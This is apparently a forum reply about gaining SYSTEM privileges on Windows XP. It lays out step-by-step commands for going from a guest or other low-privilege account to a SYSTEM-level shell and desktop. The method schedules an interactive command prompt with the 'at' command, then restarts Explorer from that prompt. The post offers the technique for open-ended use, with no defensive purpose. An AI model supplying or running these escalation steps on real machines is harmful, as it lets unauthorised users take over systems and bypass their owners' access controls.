I'm not sure I follow the LOGON.scr trick thing, is all you're trying to do gain SYSTEM access? There is a much easier way (for XP anyway), and excuse me if this has already been mentioned somewhere and I guess it won't work on all OS':
Open CMD from any account (e.g. guest)
enter the command:
at 10:31 /interactive "cmd.exe"
Where 10:31 is a time 2 minutes in advance of your current system clock.
Wait 2 minutes and a new CMD window will popup as a SYSTEM process.
open the taskmanager and kill the Explorer.exe
in your new SYSTEM CMD window enter:
cd..
to get to %systemroot%
then enter:
explorer
and there you are logged in as SYSTEM, useful for.. well all sorts really.